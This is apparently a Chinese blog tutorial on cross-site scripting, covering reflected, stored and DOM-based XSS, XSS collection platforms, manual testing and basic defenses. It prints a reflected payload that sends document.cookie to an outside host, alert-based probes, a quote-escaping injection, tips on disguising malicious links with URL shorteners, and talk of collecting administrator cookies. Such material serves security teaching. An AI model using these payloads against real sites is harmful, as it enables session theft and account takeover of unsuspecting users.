跨站脚本攻击(XSS)原理以及简单挖掘

lollipop

阅读此篇文章前你需要提前了解的知识
1.http协议以及网站数据交互方式
2.GET和POST方式
3.cookie的概念
4.html语言标签的概念
5.能看懂并编写简单的javascript脚本语句
6.博主很菜,有错误还请斧正

0x01 XSS简介

XXS,跨站脚本攻击(Cross Script Sites),为了和CSS(层叠样式表)区分,简称为XSS,XSS是web应用程序中的常见漏洞之一,属于一种代码注入类攻击,一般是由于web应用服务器对用户的输入未做安全检查或者检查不够严格造成恶意代码被输出到页面执行。恶意代码一般为前端脚本语言,如javascript或者flash(马上要退出历史舞台了)。

0x02 漏洞原理

要形成XSS,必须满足:有输入且有输出。比如网站的搜索功能、留言功能、评论功能、反馈功能等等,这些功能点都允许你输入字符且字符会被后端再输出到页面。使用存储型XSS举个例子:攻击者在网站的文章评论功能处发现存在XSS,于是构建能够获取cookie的恶意代码或者引入存在恶意代码的JS文件,在评论处提交,恶意代码被保存在网页中且在被管理员或者文章作者删除之前会一直存在于文章评论处,这样每一个查看该文章的读者打开页面后,评论处的恶意代码执行,如果网站未设置http-only,账户的cookie会被攻击者获取。

0x03 XSS分类

1.反射型XSS

反射型XSS漏洞存在于网站使用GET方式提交数据时,比如在网站搜索功能处,用户提交的查询词会被放入请求URL中,形式例如:

https://example.com/search?word=查询词

word后面是用户输入的查询词汇,该词提交到服务器后端交给数据库查询处理后,最后会和结果一起输出到结果页面,这里就满足我刚才说的存在XSS的条件:有输入且有输出,例如后台没有对查询词做安全校验,那么恶意代码可能就会被输出到页面执行,例如

https://example.com/search?word=<script>alert('1')</script>

当用户点击该链接时,恶意代码在用户的浏览器中执行,页面会弹出一个类似以下写着1的弹窗

当然,此处只是为了证明代码被执行存在漏洞,所以只弹出了弹窗,攻击者在实际中可能会使用攻击性的恶意代码,比如使页面跳转到钓鱼页面进一步攻击,或者获取用户的cookie等操作。
由于反射型XSS不能存储到服务器中随着用户请求页面而被执行,所以需要引诱用户去点击类似于上面包含恶意代码的链接,比如以下场景。
A(www.a.com) 网站的搜索功能处 (www.a.com/search?keyword=棒棒糖) 存在反射型XSS,攻击者构造以下链接。

www.a.com/search?keyword=<script>window.location.href='http://qinglanmy.xyz/cookie/?cookie='+document.cookie</script>

此链接中的代码会将用户的cookie值返回给qinglanmy.xyz的服务器,当然,实际中,也许还需要加一些内容来闭合标签,使得语法正确。攻击者将此链接通过站内信或者其他方式发送给小明,并且配上:点击链接,英雄联盟龙瞎皮肤免费领取...等字样。小明信以为真,点击链接,链接跳转到搜索页面,恶意代码被浏览器执行,若此时小明的网站cookie还未过期,那么就会被XSS语句获取并发送给了攻击者的网站,从而攻击者可以使用该cookie值直接以小明的身份登录A网站,此时小明还未察觉cookie已被盗走,所以为了自己的安全,不要乱点未知来源的链接。
当然,以上的链接稍微留意就会发现有些问题,比如会包含一些<>标签以及script,img等字样,所以攻击者可能会使用短网址转换的功能,将一大串链接变成一个很短的网址,具体功能访问短网址转换网站比如百度短网址https://dwz.cn/ 等。

2.存储型XSS

存储型XSS能使恶意代码能存储到服务器上,在用户访问合法页面的时候从服务器数据库中返回给浏览器,也被称为永久性XSS,因此危害极大。此类漏洞大多出现于作品的评论、留言功能处,以及填写建议反馈处,建议反馈的信息会被显示在网站管理后台处,如果管理后台未做安全措施,则有机会在建议反馈的信息中构造XSS语句配合XSS平台(用于提供XSS代码以及接收相信息的在线平台)获取后台管理地址以及管理员的cookie。
例如,最近在一个读书网的书评功能中发现,评论直接被输出到<p>标签中

于是尝试一下有没有XSS,输入XSS语句

成功弹窗,这样,每一个打开这个页面的人都会执行评论中XSS而弹窗,不过建议不要用onerror事件来测试,用onclick事件再去点击测试,不然可能会一直弹窗。

3.DOM型XSS

想要了解DOM型XSS,就要了解DOM是什么,百度解释:文档对象模型(Document Object Model,简称DOM,是W3C组织推荐的处理可扩展置标语言的标准编程接口。通俗来讲,就是可用通过编写javascript代码来使用DOM接口改变网页的内容,此过程没有和后台产生交互,完全由前端js代码完成,所以输入的字符串不会经过web防火墙,更容易产生XSS漏洞。
例如以下一段DOM型XSS的示例

<script>
var temp = document.URL;
var index = document.URL.indexOf("content=")+8;
var par = temp.substring(index);
document.write(decodeURL(par));
</script>

上诉代码完成了从URL中提取content参数的值,并且输出的功能,如果将content参数值构造XSS代码,例如:

http://qinglanmy.xyz/test.php?content=<script>alert('xss')</script>

就有可能造成XSS漏洞。

0x04 XSS平台介绍

在平时进行渗透测试的时候,我们可能需要利用XSS获取管理员的cookie,这样你就需要一个可以接收cookie的公网主机,如果没有公网主机,就可以使用XSS平台啦,XSS平台可以提供各种功能XSS代码,比如创建一个获取cookie的项目,里面会提供加载该XSS代码的js语句(因为js是支持通过链接加载的),当执加载的js语句后,就会把XSS代码从XSS平台中加载过去,并且获取的cookie值也会返回到XSS平台的对应项目中,当然,自己有vps的可以自己搭建一个xss平台。

xss项目列表

xss项目加载代码

xss项目获取到的数据

0x05 XSS简单挖掘

XSS漏洞可以使用web扫描器例如:nessus,awvs,rsky等进行扫描发现,但在实际测试中。使用扫描器容易被察觉封锁ip,所以大多时候应该选自手工测试,这里简单讲解Ixia手工测试的思路,不深入(因为菜)。
首先在搜索或者评论处,我们需要观察输入的语句被输出到什么环境中。

1.输杵到标签对之间

如果只是被简单的输出到标签对之间,如

<div>评论</div>
<p>评论</p>

这样可以考虑直接构造XSS语句,不需要考虑闭合标签。

2.输出到标签value值中

如果评论被输出到标签的value中,如

<input type="text" name="discuss" value="评论">

这时评论处于value的引号中,不会被当做js代码解析执行,这个时候就需要闭合前后标签,让js语句逃逸出引号,构造如下语句

"><script>alert('1')</script><"

这时评论的输出格式变成如下,XSS语句成功逃逸出来。

<input type="text" name="discuss" value=""><script>alert('1')</script><"">

当然在实际测试过程中,由于现在前后端的开发框架对于安全的重视,以及waf(web application firewall)的普及,这种简单地XSS漏洞基本都被杜绝了,大多数网站过滤或者转义了评论中的敏感字符,例如script,单双引号等等,这个时候就需要考虑使用各种绕过方式,学习安全不是一蹴而就,需要我们平时多累计经验,学习不同的绕过姿势,遇到难题才能有思路。

0x06 XSS的防御

1.对输入和URL参数进行过滤(建议使用白名单)
2.对输出进行html实体编码
3.对用户cookie设置http-only属性
4.使用waf等安全设备

One thought on “跨站脚本攻击(XSS)原理以及简单挖掘

发表评论

电子邮件地址不会被公开。 必填项已用*标注